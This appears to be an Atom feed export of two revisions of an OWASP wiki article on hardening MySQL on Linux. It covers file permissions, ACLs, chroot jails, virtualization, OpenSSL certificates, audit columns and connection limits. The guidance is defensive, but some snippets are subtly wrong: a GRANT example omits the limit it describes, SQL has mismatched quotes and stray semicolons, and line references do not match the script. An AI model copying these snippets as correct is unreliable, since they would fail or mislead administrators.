Outside of the MySQL-shell, the server's administrator is able to execute the program &amp;lt;tt&amp;gt;mysqladmin&amp;lt;/tt&amp;gt;, which allows to set up administrative MySQL-specific tasks outside the DBMS, and partially, even when the database server doesn't actually run.&lt;br /&gt;
&lt;br /&gt;
One of the main tasks you should know about &amp;lt;tt&amp;gt;mysqladmin&amp;lt;/tt&amp;gt; is to set new passwords (typically the password for the root user himself):&lt;br /&gt;
&lt;br /&gt;
 mysqladmin -u root password &amp;lt;password-in-cleartext&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note that username and passwords can have a maximum length of 16 characters each, not more. To perform this task within MySQL, the following SQL-statement would be appropriate:&lt;br /&gt;
&lt;br /&gt;
 UPDATE user SET password = PASSWORD('secret') WHERE user = 'root';&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Tables and security functions ===&lt;br /&gt;
A very useful strategie is to (automatically) include certain security-related information in the main tables of the database model. Assume a table &amp;lt;tt&amp;gt;Customer&amp;lt;/tt&amp;gt;. We will now add a few more columns to this table, providing some logging information:&lt;br /&gt;
  CREATE TABLE Customer (&lt;br /&gt;
    CustomerNo INTEGER AUTO_INCREMENT PRIMARY KEY,&lt;br /&gt;
    Company VARCHAR(100),&lt;br /&gt;
    ...,&lt;br /&gt;
    Created DATETIME,&lt;br /&gt;
    Created_by VARCHAR(80),&lt;br /&gt;
    Updated DATETIME;&lt;br /&gt;
    Updated_by VARCHAR(80),&lt;br /&gt;
    Deleted DATETIME;&lt;br /&gt;
    Deleted_by VARCHAR(80)&lt;br /&gt;
  );&lt;br /&gt;
&lt;br /&gt;
As you may have already found out, we're about to additionally save exactly when who did what on this specific table. You may wonder why the VARCHAR() columns are 80 characters in length while usernames are restricted to a maximum of 16: That's because we'll also save the hostname from which the user is connecting from (max. 60 characters).&lt;br /&gt;
&lt;br /&gt;
When changing this table, the corresponding software should now just set up a statement like:&lt;br /&gt;
  UPDATE Customer&lt;br /&gt;
  SET Company = 'Somename Ltd.',&lt;br /&gt;
    Updated = SYSDATE(),&lt;br /&gt;
    Updated_by = USER()&lt;br /&gt;
  WHERE Company = 'Someothername Ltd.'&lt;br /&gt;
&lt;br /&gt;
If we're about to delete a table, to the same for deletion. It's commonly strongly recommended not to delete anything from an existing database instance. Therefore, when a dataset should be deleted, we just set the deletion date and the user who forced to execute the deletion:&lt;br /&gt;
  UPDATE Customer&lt;br /&gt;
  SET Deleted = SYSDATE(),&lt;br /&gt;
    Deleted_by = USER()&lt;br /&gt;
  WHERE Company = 'Someothername Ltd.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Check table consistencies and repair databases ===&lt;br /&gt;
For tables of type MyISAM (non-ACID) or InnoDB (ACID compliant), MySQL provides CHECK and REPAIR statements for tables. Especially the CHECK-routine can be done in several levels of detail:&lt;br /&gt;
&lt;br /&gt;
 CHECK TABLE Customer [QUICK|FAST|CHANGED|MEDIUM|EXTENDED]&lt;br /&gt;
&lt;br /&gt;
The options differ in several strategies.&lt;br /&gt;
* the QUICK-option will not do any checks on columns, but only basic table-related information&lt;br /&gt;
* the MEDIUM-option performs column-checks (e.g. dead links), and calculates a checksum over key-columns&lt;br /&gt;
* the CHANGED-option only inspects changes made on the table since the last check&lt;br /&gt;
* the EXTENDED-option checks and checksums all columns separately (which can take a while on bigger databases)&lt;br /&gt;
&lt;br /&gt;
Note: Since MySQL 5, also VIEWs can be used with the CHECK statement.&lt;br /&gt;
&lt;br /&gt;
If a table is damaged, consider trying the REPAIR statement.&lt;br /&gt;
  REPAIR TABLE tablename&lt;br /&gt;
&lt;br /&gt;
=== Setting up connection limits ===&lt;br /&gt;
&lt;br /&gt;
As shown in the table description of user, there are several options MySQL offers to limit certain resources of specific users.&lt;br /&gt;
&lt;br /&gt;
This includes three main clauses:&lt;br /&gt;
* The MAX_QUERIES_PER_HOUR clause defines a maximum set of queries which may be processed on per user and per host basis. For example, the statement GRANT SELECT on *.* TO root WITH MAX_QUERIES_PER_HOUR will limit the maximum queries available to user root to an amount of five per hour.&lt;br /&gt;
* MAX_UPDATES_PER_HOUR, controls the maximum amount of DML statements per hour, and&lt;br /&gt;
* MAX_CONNECTIONS_PER_HOUR controls the maximum of connection establishments per hour.&lt;br /&gt;
&lt;br /&gt;
All of those clauses cannot be applied on per-table or per-database basis, since they have to be stated via *.*. Every mentioned limitation is internally represented by counters, corresponding to the time (per hour). Those counter may easily be reset by invoking the command FLUSH USER_RESOURCES (the user which tries to flush, will need the RELOAD privilege). This statement will not remove the defined resource limits, but reset the counters.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
There is no absolute security for applications. The offered methods and technologies mentioned in this paper, can help making the environment much more secure where the MySQL daemon is running.&lt;br /&gt;
&lt;br /&gt;
We may use technologies like sandboxing and virtualization for isolating the MySQL processes from the environment, the database server is running in. This minimizes the possible negative consequences, if the daemon is getting compromised. The deployment and use of cryptographic routines for ciphering physical data and network traffic, reduces the risks of sniffing and man-in-the-middle attacks, as well as securing the whole data covered by the database if the data directory itself gets theft.&lt;br /&gt;
&lt;br /&gt;
A very big disadvantage of using programming languages which explicitely make use of pointers like C or C++, is the possibility of buffer overflows and attacks using this as basis. That’s not a conceptional mistake of MySQL, but makes the spectrum of possible attacks much wider. Using certain external software for checking those leaks is highly recommended. In such a case, the database server will just be terminated - which is not a desirable consequence, but far better than having an up and running but compromised instance.&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
The whole article is mainly based upon the original document Hardening MySQL on Unix-like systems, Erik Sonnleitner 2007, available at [www.delta-xi.net].&lt;br /&gt;
&lt;br /&gt;
* [AB05]      MySQL AB. Inside mysql 5.0 - a dba’s perspective, 2005.&lt;br /&gt;
* [Ale06]     Michael Alexander,  Huehtig, Netzwerke und Netzwerksicherheit. Telekommunikation, 2006. (ISBN 3826650484).&lt;br /&gt;
* [Amb07]     Eric Amberg. Linux-Server mit Debian. mitp, 2007. (ISBN 3826615875).&lt;br /&gt;
* [Bau02]     Michael Bauer. Building secure servers with Linux. O’Reilly, 2002. (ISBN 0596002173).&lt;br /&gt;
* [BLTR06] Johannes Bauer, Albrecht Liebscher, and Klaus Thielking-Riechert. OpenVPN. Grundlagen, Konfiguration, Praxis. Dpunkt Verlag, 2006. (ISBN 3898643964).&lt;br /&gt;
* [Cod70]     E. F. Codd. A relational model of data for large shared data banks. Communications of the ACM 13 (6), 377-387, 1970.&lt;br /&gt;
* [Eri03]     Jon Erickson. Hacking - the art of exploitation. No starch press, 2003. (ISBN 1593270070).&lt;br /&gt;
* [Ert03]     Wolfgang Ertel. Angewandte Kryptographie. Hanser Fachbuchverlag, 2003. (ISBN 3446223045).&lt;br /&gt;
* [Fos05]     James Foster. Buffer overflow attacks. Syngres Media, 2005. (ISBN 1932266674).&lt;br /&gt;
* [Gri05]     Lenz Grimmer. Mysql backup and security, 2005.&lt;br /&gt;
* [Kre04]     Juergen Kreileder. Chrooting mysql on debian, 2004.&lt;br /&gt;
* [MBBS07] Keith Murphy, Peter Brawley, Dan Buettner, and Baron Schwartz. Mysql magazine, 2007. Issue 1.&lt;br /&gt;
* [One]       Aleph One. Smashing the stack for fun and profit. Phrack magazine vol 49, File 14 of 16.&lt;br /&gt;
* [Pac05]     Lars Packshies. Praktische Kryptographie unter Linux. Open source press, 2005. (ISBN: 3937514066).&lt;br /&gt;
* [PW07]   Johannes Ploetner and Steffen Wendzel. Netzwerksicherheit. Galileo press, 2007. (ISBN 3898428286).&lt;br /&gt;
* [SBZD07] Henning Sprang, Timo Benk, Jaroslaw Zdrzalek, and Ralph Dehner. Xen. Virtualisierung unter Linux. Open source press, 2007. (ISBN 3937514295).&lt;br /&gt;
* [Sch05]  Bruce Schneier. Angewandte Kryptographie. Algorithmen, Protokolle und Sourcecode in C. Pearson Studium, 2005. (ISBN 0471117099).&lt;br /&gt;
* [SR07]   M. Stipcevic and B. Medved Rogina. Quantum random number generator. Rudjer Boskovic Institute, Bijenicka, Zagreb, Croata, 2007.&lt;br /&gt;
* [SWF05]  Ellen Siever, Aaron Weber, and Stephen Figgins. Linux in a nutshell. O’Reilly, 2005. (ISBN 0596009305).&lt;br /&gt;
* [Vas04]  Vikram Vaswani. MySQL: The complete reference. Mcgraw-Hill Professional, 2004. (ISBN 0072224770).&lt;br /&gt;
* [Wae03]  Dietmar Waetjen. Kryptographie. Grundlagen, Algorithmen, Protokolle. Spektrum Adakemischer Verlag, 2003. (ISBN 3827414318).&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_MySQL_Hardening&amp;diff=44164</id>
		<title>OWASP Backend Security Project MySQL Hardening</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_MySQL_Hardening&amp;diff=44164"/>
				<updated>2008-10-21T00:51:47Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Cryptographic appliances */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview =&lt;br /&gt;
&lt;br /&gt;
* Firstly, we will deal about hardening the underlying operating system environment. This is an ultimately essential step towards application layer security, since also the best security mechnism and configuration won't be useful if the whole system is attackable one layer beyond the actual target application. Operating system hardening includes setting right filesystem permissions, the design and implementation of a virtual chroot-jail application executing environment, the use of access control lists as well as a quick introduction about modern virtualization approaches.&lt;br /&gt;
* The next topic will be about cryptography, which we will use to aid and secure our database instance at filesystem level and, possibly even more important, the DMBS' communication channels. This will be achieved using either OpenSSL, OpenSSH or OpenVPN. For encrypting the raw database pages themselves, we'll also take a look about filesystem encryption.&lt;br /&gt;
* Due to some quite aweful security bugs in the past, we'll discuss how the application's memory area can be protected against stack- and heap-smashing attacks for executing arbitrary code on the machine which actually executes the MySQL database server.&lt;br /&gt;
* Then we'll discuss certain security-related MySQL configuration attributes. MySQL is quite straight to configure, but nevertheless there are a few options which inside the configuration files which make life easier - and more secure.&lt;br /&gt;
* Finally the access control and privilege management mechanism of the MySQL DBMS itself will be explored and shown in some detail.&lt;br /&gt;
&lt;br /&gt;
The whole article is based on a paper on MySQL Hardening which can be obtained [http://delta-xi.net/index.php?/archives/23-Hardening-MySQL-on-Unix-like-systems.html here].&lt;br /&gt;
&lt;br /&gt;
= Description =&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
The enormous global increase of information which is to be stored, forces certain approaches of achiving and restoring data, while keeping track of numerous valuable and essential preconditions, e. g. data integrity.&lt;br /&gt;
&lt;br /&gt;
Relational databases are still the common way of accomplishing the storage of masses of information, although its conceptional basics reach back to 1970, where E. F. Codd firstly introduced this method of data handling [Cod70].&lt;br /&gt;
&lt;br /&gt;
As global networking dramatically increased the past decades, the TCP/IP protocol stack has become very popular and nowadays builds the fundamental backbone of the Internet. As conclusion to this tendency, also the way of controlling and operating relational database systems mostly relies on the mentioned protocol suites, with all advantages and disadvantages, inherently given by using them.&lt;br /&gt;
&lt;br /&gt;
Accessability and reliability of information services is often constrained by providing them over the Internet, which should be seen as naturally untrusted and insecure network, since not only permitted persons are able to try to establish connections. With the aspect of Unix-like system environments in mind, I’ll figure out how to secure and harden database systems primarily on Linux, taking MySQL 5 as example, since this software is commonly used and widespread, especially over the Internet, for it is Open Source Software. Except for the description of filesystem encryption, all examples should work also on other POSIX compliant operating systems than Linux.&lt;br /&gt;
&lt;br /&gt;
The language of given sourcecodes should be clear from the context they are mentioned. However, shell scripts are written using the Bourne Again Shell (/bin/bash), and most sources are plain C. When shell command examples are given, every line is prefixed with either # or $. While the hash indicates that the following statement has to be called as root user, the dollarsign commands doesn’t need administrative permissions.&lt;br /&gt;
&lt;br /&gt;
== Hardening the operating system environment ==&lt;br /&gt;
Common Unix-like systems offer a wide range of security related tools and methods for obtaining access restrictions. The configuration of certain software packages like databases is assuredly to be done carefully and with respect to secureness. &lt;br /&gt;
&lt;br /&gt;
Nevertheless, a system-wide security model for protecting information and information services should begin (at least) at operating system level. &lt;br /&gt;
&lt;br /&gt;
A perfectly configured Oracle Database Server, including DMBS account and role management etc., won’t be useful if everybody may be able to simply copy the raw data from the filesystem for obtaining the desired information quickly and easily. For more in-depth information about Unix and the Unix system environment, I’d refer to [SWF05], [Amb07] and [Bau02].&lt;br /&gt;
&lt;br /&gt;
=== Filesystem access restrictions and ACLs ===&lt;br /&gt;
Most suitable filesytems available on POSIX environments provide mechanisms of restricing methods of access in an abrasive way, using (at least) three types of access mode codes, and three ways of describing for whom those modes apply.&lt;br /&gt;
&lt;br /&gt;
The basic filesystem permissions are&lt;br /&gt;
* read (→ 'r'),&lt;br /&gt;
* write (→ 'w'), and&lt;br /&gt;
* execute (→ 'x')&lt;br /&gt;
&lt;br /&gt;
which can be individually referred to &lt;br /&gt;
* the user which is the owner of the filesystem object, e.g. a file or a directory (→ 'u'),&lt;br /&gt;
* the group of persons which belong to the (main) group of the owner (→ 'g' ), and&lt;br /&gt;
* all others (→ 'o').&lt;br /&gt;
&lt;br /&gt;
Taking the major configuration file of MySQL, which is normally found at &amp;lt;tt&amp;gt;/etc/mysql/my.cnf&amp;lt;/tt&amp;gt;, the filesystem rights are given as following:&lt;br /&gt;
  $ ls -lh /etc/mysql/my.cnf&lt;br /&gt;
  -rw-r--r-- 1 root root 3.7K 2007-07-18 00:14 /etc/mysql/my.cnf&lt;br /&gt;
&lt;br /&gt;
The access rights are shown in the string &amp;lt;tt&amp;gt;-rw-r--r--&amp;lt;/tt&amp;gt;. Disregarding the first &amp;lt;tt&amp;gt;-&amp;lt;/tt&amp;gt; character, Unix returns basically a nine-character string, which is to be read in triples, as &amp;lt;tt&amp;gt;rw-|r--|r--&amp;lt;/tt&amp;gt;. The first triple describes the permissions of the owner, the second the permissions of the owner’s group and the third triple refers to all other users. Therefore, only the owner of the file (the root user, the administrator) is allowed to modify the file because of the write permission - users in the same group as well as all other system users may only read the object. The upcoming columns, both entitled as root describe the owner of the object, and group membership belonging of the object. As we see, the &amp;lt;tt&amp;gt;my.cnf&amp;lt;/tt&amp;gt; file is owned by the user root and belongs to the system group root.&lt;br /&gt;
&lt;br /&gt;
The configuration files should always belong to the &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt; user, and only permit &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt; to write on these objects, since nobody else should be able to modify its contents in any way. The right permission settings may be assured by&lt;br /&gt;
&lt;br /&gt;
 # chown -R root:root /etc/mysql/&lt;br /&gt;
 # chmod 0644 /etc/mysql/my.cnf&lt;br /&gt;
&lt;br /&gt;
In dependency on what other configuration files MySQL actually is referring to, the &amp;lt;tt&amp;gt;chmod&amp;lt;/tt&amp;gt; command may also be applied to other items inside the &amp;lt;tt&amp;gt;/etc/mysql/&amp;lt;/tt&amp;gt; directory.&lt;br /&gt;
&lt;br /&gt;
==== Storage data ====&lt;br /&gt;
MySQL stores the actual data (tables, etc.) in &amp;lt;tt&amp;gt;/var/lib/mysql&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;$MYSQL/data&amp;lt;/tt&amp;gt; by default. In contrast to the configuration files, the data storage files should not be owned by the administrator, but by a completely unprivileged user, normally called &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt;, which isn’t allowed to to anything else inside the Unix system as what is absolutely necessary. Besides the administrator of course, nobody should be able to read and/or modify these objects, therefore we completely revoke any rights of the others user section and just let &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; read and write.&lt;br /&gt;
&lt;br /&gt;
Moreover, the &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; user should by no means be able to invoke a command shell. This assures that crackers arn't be able to login at the server system, even if this user has been hacked. Revoking command shells is done within &amp;lt;tt&amp;gt;/etc/passwd&amp;lt;/tt&amp;gt;, by changing the last column of the mysql user from &amp;lt;tt&amp;gt;/bin/bash&amp;lt;/tt&amp;gt; to &amp;lt;tt&amp;gt;/bin/false&amp;lt;/tt&amp;gt;. The program given here will be invoked when a user has been successfully authenticated by the system.&lt;br /&gt;
&lt;br /&gt;
==== Logfiles ====&lt;br /&gt;
MySQL commonly logs every event, relevant to the database. Absolutely no other users than &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; should be able to read or write the logs, preventing the leaking of information out of the logfiles. For example, certain queries like &amp;lt;tt&amp;gt;GRANT&amp;lt;/tt&amp;gt; may offer sensitive information like user passwords, which are stored plaintext inside the protocol files. The logs are normally owned by the &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; user, since MySQL needs to write the events here (in contraty to the configuration files, only the administrator should be able to modify, not the MySQL system).&lt;br /&gt;
&lt;br /&gt;
==== Access control lists ====&lt;br /&gt;
ACLs, or Access control lists offer a very granular method of defining and granting permissions. As opposed to the standard Unix filesystem permissions, POSIX ACLs are not built-in in the filesystem device driver (as done in &amp;lt;tt&amp;gt;ext2/3&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;reiserfs&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;xfs&amp;lt;/tt&amp;gt;, etc.).&lt;br /&gt;
&lt;br /&gt;
The usage of ACLs offers mechanisms for setting up per-user-permissions of single filesystem objects and therefore provide fine-grained definitions of access restrictions, if needed. The corresponding POSIX commands are &amp;lt;tt&amp;gt;getfacl&amp;lt;/tt&amp;gt; for viewing ACLs, and &amp;lt;tt&amp;gt;setfacl&amp;lt;/tt&amp;gt; for setting up an ACL. These features may be useful to add certain permissions to other users (e. g. automatic logfile analyzers). The following example quickly shows the usage of &amp;lt;tt&amp;gt;setfacl&amp;lt;/tt&amp;gt;, allowing the user syslog to write on the MySQL log files:&lt;br /&gt;
  # setfacl -m user:syslog:-w- /var/log/mysql/*&lt;br /&gt;
&lt;br /&gt;
=== Designing a chroot-jail ===&lt;br /&gt;
Even when accurately managing user- and group-memberships as well as read and write permissions to the relevant MySQL filesystem objects, we should assure, that, in case of a successful attack, the system environment does not get compromised in any way. Numerous attacks have been reported on this topic. When talking about attacks, we now commonly mean attacks from within the database system, when users or programs try to gain sensitive system parameters like the &amp;lt;tt&amp;gt;/etc/shadow&amp;lt;/tt&amp;gt; file or logfiles via outfoxing the DMBS.&lt;br /&gt;
&lt;br /&gt;
That’s why we need to create a sandbox-like environment where MySQL runs within and is restricted to. In terms of POSIX systems, this is called a change root - environment, or &amp;lt;tt&amp;gt;chroot&amp;lt;/tt&amp;gt;-jail named by the corresponding command chroot. In the early Eighties when nowadays keywords like virtualization havn’t been born, Bill Joy introduced the concept of the chroot command which can be seen as forerunner of an virtual system environment.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tt&amp;gt;chroot&amp;lt;/tt&amp;gt; basically repositions the global root directory (/) via remapping it into a specific directory of any directory within the filesystem tree. Any commands, applications, users etc. which act within the chroot-environment actually don’t know that they are working in a sandbox and should have no chance for accessing any part of the filesystem outside the jailed area.&lt;br /&gt;
&lt;br /&gt;
==== Manually designing a sandbox ====&lt;br /&gt;
Since the jailed environment won’t be able to access the rest of the filesystem, all relevant system objects like binaries, libraries, the directory structure, logs, etc. have to be copied into the sandbox.&lt;br /&gt;
&lt;br /&gt;
The easiest way to accomplish this by hand, is to get an official static build of MySQL, which doesn’t mandatorily rely on external dymanic libraries (shared objects, respectively) and defines the right directory structure. The first step is to download and unpack the package, as shown here by example of MySQL 5.0.45:&lt;br /&gt;
  $ export MYSQL_CHROOT=/chroot/mysql&lt;br /&gt;
  # mkdir -p $MYSQL_CHROOT&lt;br /&gt;
  # cd $MYSQL_CHROOT&lt;br /&gt;
  $ wget http://$SERVER/mysql-5.0.45-linux-i686.tar.gz&lt;br /&gt;
  $ tar xfz mysql-5.0.45-linux-686.tar.gz&lt;br /&gt;
  $ MYSQL_CHROOT=$MYSQL_CHROOT/mysql-5.0.45-linux-i686&lt;br /&gt;
  $ cd $MYSQL_CHROOT&lt;br /&gt;
&lt;br /&gt;
We have now prepared a basically functional MySQL environment. Nevertheless, we want to have at least a working shell, as well as some system-wide configuration files needed by MySQL. Therefore we need to copy &amp;lt;tt&amp;gt;/bin/bash&amp;lt;/tt&amp;gt; to the sandbox. Since the Linux Bash also depends on certain libraries, it’s necessary to find out which libraries are needed, using the &amp;lt;tt&amp;gt;ldd&amp;lt;/tt&amp;gt; command:&lt;br /&gt;
&lt;br /&gt;
  $ ldd /bin/bash&lt;br /&gt;
  linux-gate.so.1 = &amp;gt;    (0xffffe000)&lt;br /&gt;
  libncurses.so.5 = &amp;gt; /lib/libncurses.so.5 (0xb7f8f000)&lt;br /&gt;
  libdl.so.2 = &amp;gt; /lib/i686/cmov/libdl.so.2 (0xb7f8b000)&lt;br /&gt;
  libc.so.6 = &amp;gt; /lib/i686/cmov/libc.so.6(0xb7e42000)&lt;br /&gt;
  /lib/ld-linux.so.2 (0xb7fd9000)&lt;br /&gt;
&lt;br /&gt;
Now we’ll just need to copy the given objects in the corresponding directories of the sandbox. This can be done manually file by file, or simply with the following piece of code:&lt;br /&gt;
&lt;br /&gt;
     $ for i in `ldd /bin/bash | awk '{print $3}' | egrep '^/.*'`; do&lt;br /&gt;
       mkdir -p &amp;quot; ./`dirname $i` &amp;quot; ;&lt;br /&gt;
       cp $i ./`dirname $i`;&lt;br /&gt;
     done&lt;br /&gt;
     cp /bin/bash ./bin&lt;br /&gt;
&lt;br /&gt;
Since MySQL also uses some shell scripts, it will also need the following files:&lt;br /&gt;
     $ for i in /bin/hostname /bin/chown /bin/chmod /bin/touch&lt;br /&gt;
           /bin/date /bin/rm /usr/bin/tee /usr/bin/dirname&lt;br /&gt;
           /etc/passwd /etc/group /lib/librt.so.1 /lib/libthread.so.0; do&lt;br /&gt;
       mkdir -p &amp;quot;./`dirname $i`&amp;quot; ;&lt;br /&gt;
       cp $i ./`dirname $i`;&lt;br /&gt;
     done&lt;br /&gt;
&lt;br /&gt;
We can now initially start the MySQL Server inside the chroot-environment by calling&lt;br /&gt;
  # chroot $MYSQL_CHROOT /bin/mysqld_safe&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;chroot&amp;lt;/tt&amp;gt; command now repositions the global root node / for the command &amp;lt;tt&amp;gt;mysqld_safe&amp;lt;/tt&amp;gt;. If an attacker forces to gain access of the system behind the database server, he’s limited to MySQL’s root directroy, which is represented by the &amp;lt;tt&amp;gt;$MYSQL_CHROOT&amp;lt;/tt&amp;gt; environment variable, and pointing to &amp;lt;tt&amp;gt;/chroot/mysql&amp;lt;/tt&amp;gt; of the real filesystem behind the sandbox.&lt;br /&gt;
&lt;br /&gt;
=== MySQL's built-in chroot mechanism ===&lt;br /&gt;
&lt;br /&gt;
The MySQL database server &amp;lt;tt&amp;gt;mysqld&amp;lt;/tt&amp;gt; also has a built-in chrooting-functionality which can be given as command line argument before startup. In case of having all important files (including the corresponding directory structure) inside &amp;lt;tt&amp;gt;/chroot_env/mysqld/&amp;lt;/tt&amp;gt;, the following call would force MySQL to programatically chroot to the specified directory.&lt;br /&gt;
&lt;br /&gt;
 # mysqld --chroot=/chroot_env/mysqld&lt;br /&gt;
&lt;br /&gt;
Note that &amp;lt;tt&amp;gt;mysqld&amp;lt;/tt&amp;gt; will not be able to start up if the given environment lacks on integrity of needed files.&lt;br /&gt;
&lt;br /&gt;
=== Modern virtualization approaches ===&lt;br /&gt;
&lt;br /&gt;
Since &amp;lt;tt&amp;gt;chroot&amp;lt;/tt&amp;gt; can be seen as an old-school pseudo-virtualisation, just keeping the MySQL server in a sandbox of an existing system, modern approaches have shown that virtualization and para-virtualization are leading the way of running multiple operating system kernels on one machine.&lt;br /&gt;
&lt;br /&gt;
Therefore, there is no need of creating a sandbox, since every server-system may run in a completely isolated full featured Unix system, while all of these (virtual) servers are run on one single physical server.&lt;br /&gt;
&lt;br /&gt;
The most common ways of aquiring an virtual server environment are currently the open-source project Xen as well as the comparable closed-source software VMWare ESX Server. Basically, those projects provide a so called Hypervisor, which can be seen as an additional abstraction layer, between the system’s hardware and the operating sytstem’s kernels. The hypervisor manages to devide the system resources by the running kernels, independent on which operating systems are used above the hypervisor, without producing much overhead in comparison to natively running the virtualized operating systems.&lt;br /&gt;
&lt;br /&gt;
Since the installation of MySQL on a virtual server is done exactly like a normal installation, I won’t provide more information on this topic within this paper, but I’d refer to [SBZD07].&lt;br /&gt;
&lt;br /&gt;
Another way of performing system restrictions are security suites like the NSA SELinux, as well as Novell AppArmor. Those applications aim to spy and re- strict the behaviour of certain programs and what they are trying to perform on the filesystem as well as via system calls.&lt;br /&gt;
&lt;br /&gt;
== Cryptographic appliances ==&lt;br /&gt;
=== Encrypting network traffic ===&lt;br /&gt;
&lt;br /&gt;
For encrypting network traffic, there are several differnet ways. One may use&lt;br /&gt;
* OpenSSL as MySQL's built-in cryptosystem,&lt;br /&gt;
* OpenSSH as external tunneling application, or&lt;br /&gt;
* OpenVPN tunneling.&lt;br /&gt;
&lt;br /&gt;
All cryptographic implementations are available for every platform MySQL is capable of, and all three use strong encryption. Using OpenSSL deserves some MySQL internal configuration, and is based on certificates. This may be a good choice if there already is a public-key-infrastructure (PKI) available.&lt;br /&gt;
&lt;br /&gt;
OpenVPN provides a link between two trusted private networks, over an untrusted (mostly non-private) network (normally the Internet). This needs an OpenVPN gateway server, which should commonly not be run on the same machine as the MySQL daemon does due to security reasons. Setting up an VPN tunnel is normally done to encrypt the whole network traffic between two parties, and deserves deeper knowledge of configuring a VPN gateway. Therefore, I won’t provide information on this variant, which can be obtained from [BLTR06].&lt;br /&gt;
&lt;br /&gt;
An OpenSSH tunnel is easy to setup and maintain, as well as secure and well-known to most Unix users.&lt;br /&gt;
&lt;br /&gt;
==== OpenSSL ====&lt;br /&gt;
For using OpenSSL encryption, the MySQL server has to be capable of understanding OpenSSL. Most standard MySQL packages of the common Linux distributions already offer OpenSSL-enabled MySQL services out of the box. If not, you may compile the sources of MySQL manually and run the &amp;lt;tt&amp;gt;configure&amp;lt;/tt&amp;gt; script with the option &amp;lt;tt&amp;gt;--with-vio --with-openssl&amp;lt;/tt&amp;gt;. OpenSSL activation forces the environment variable have_openssl to be set to &amp;lt;tt&amp;gt;YES&amp;lt;/tt&amp;gt;. This can be checked by&lt;br /&gt;
      mysql &amp;gt; SHOW VARIABLES LIKE ’%openssl%’;&lt;br /&gt;
      +---------------+-------+&lt;br /&gt;
      | Variable_name | Value |&lt;br /&gt;
      +---------------+-------+&lt;br /&gt;
      | have_openssl  | YES   |&lt;br /&gt;
      +---------------+-------+&lt;br /&gt;
&lt;br /&gt;
Since the OpenSSL encryption implementation of MySQL sustains upon certificates, we need to create&lt;br /&gt;
* a Certificate Authority (CA) key and certificate,&lt;br /&gt;
* a server encryption key, as well es a server certificate request,&lt;br /&gt;
* a client encryption key, as well as a client certificate request.&lt;br /&gt;
&lt;br /&gt;
The following shellscript will do this for us (OpenSSL binaries have to be installed):&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 DIR=`pwd`/openssl&lt;br /&gt;
 PRIV=$DIR/private&lt;br /&gt;
 mkdir $DIR $PRIV $DIR/newcerts&lt;br /&gt;
 cp /usr/lib/ssl/openssl.cnf $DIR&lt;br /&gt;
 replace ./demoCA $DIR -- $DIR/openssl.cnf&lt;br /&gt;
 openssl req -new -x509 -keyout $PRIV/cakey.pem &lt;br /&gt;
   -out $DIR/cacert.pem -config $DIR/openssl.cnf&lt;br /&gt;
 openssl req -new -keyout $DIR/server-key.pem &lt;br /&gt;
   -out $DIR/server-req.pem -days 3600 -config $DIR/openssl.cnf&lt;br /&gt;
 openssl rsa -in $DIR/server-key.pem -out $DIR/server-key.pem&lt;br /&gt;
 openssl ca  -policy policy_anything&lt;br /&gt;
   -out $DIR/server-cert.pem -config $DIR/openssl.cnf -infiles $DIR/server-req.pem&lt;br /&gt;
 openssl req -new -keyout $DIR/client-key.pem&lt;br /&gt;
   -out $DIR/client-req.pem -days 3600 -config $DIR/openssl.cnf&lt;br /&gt;
 openssl rsa -in $DIR/client-key.pem -out $DIR/client-key.pem&lt;br /&gt;
 openssl ca  -policy policy_anything&lt;br /&gt;
   -out $DIR/client-cert.pem -config $DIR/openssl.cnf -infiles $DIR/client-req.pem&lt;br /&gt;
&lt;br /&gt;
Lines 1 - 6 create a useable directory structure for storing the resulting keys and&lt;br /&gt;
certificates. Be sure to call this script from a safe location; keys are normally stored&lt;br /&gt;
in /etc/mysql/keys or something similar.&lt;br /&gt;
&lt;br /&gt;
Line 7 and 8 generate a local Certificate Authority for signing the certificates which&lt;br /&gt;
are to be created.&lt;br /&gt;
&lt;br /&gt;
Lines 9 and 10 create an encryption key for the MySQL server and a certificate&lt;br /&gt;
request, which is to be signed afterwards. The certificate will be valid for 3600 days.&lt;br /&gt;
&lt;br /&gt;
Line 11 (and line 16) is optional and would remove the passphrase from the server key. This&lt;br /&gt;
means that it’s not necessary to give the passphrase every time the MySQL server&lt;br /&gt;
is restartet. This behaviour may be seen as security risk, depending on where the&lt;br /&gt;
(unencrypted) key will be stored.&lt;br /&gt;
&lt;br /&gt;
Lines 12 and 13 will sign the previously generated server certificate with our local&lt;br /&gt;
CA instance.&lt;br /&gt;
&lt;br /&gt;
Lines 14 and 25 create a client key and certificate request.&lt;br /&gt;
&lt;br /&gt;
The last lines sign the client certificate with our local CA instance.&lt;br /&gt;
&lt;br /&gt;
We finally have to tell MySQL where our encryption keys and certificates are stored, which is done in my.cnf. We need entries for both, server and client. Note that the client configuration as well as the client and CA certificates have to be available on all clients who wish to encrypt MySQL related network traffic.&lt;br /&gt;
&lt;br /&gt;
 ssl-ca=$DIR/cacert.pem&lt;br /&gt;
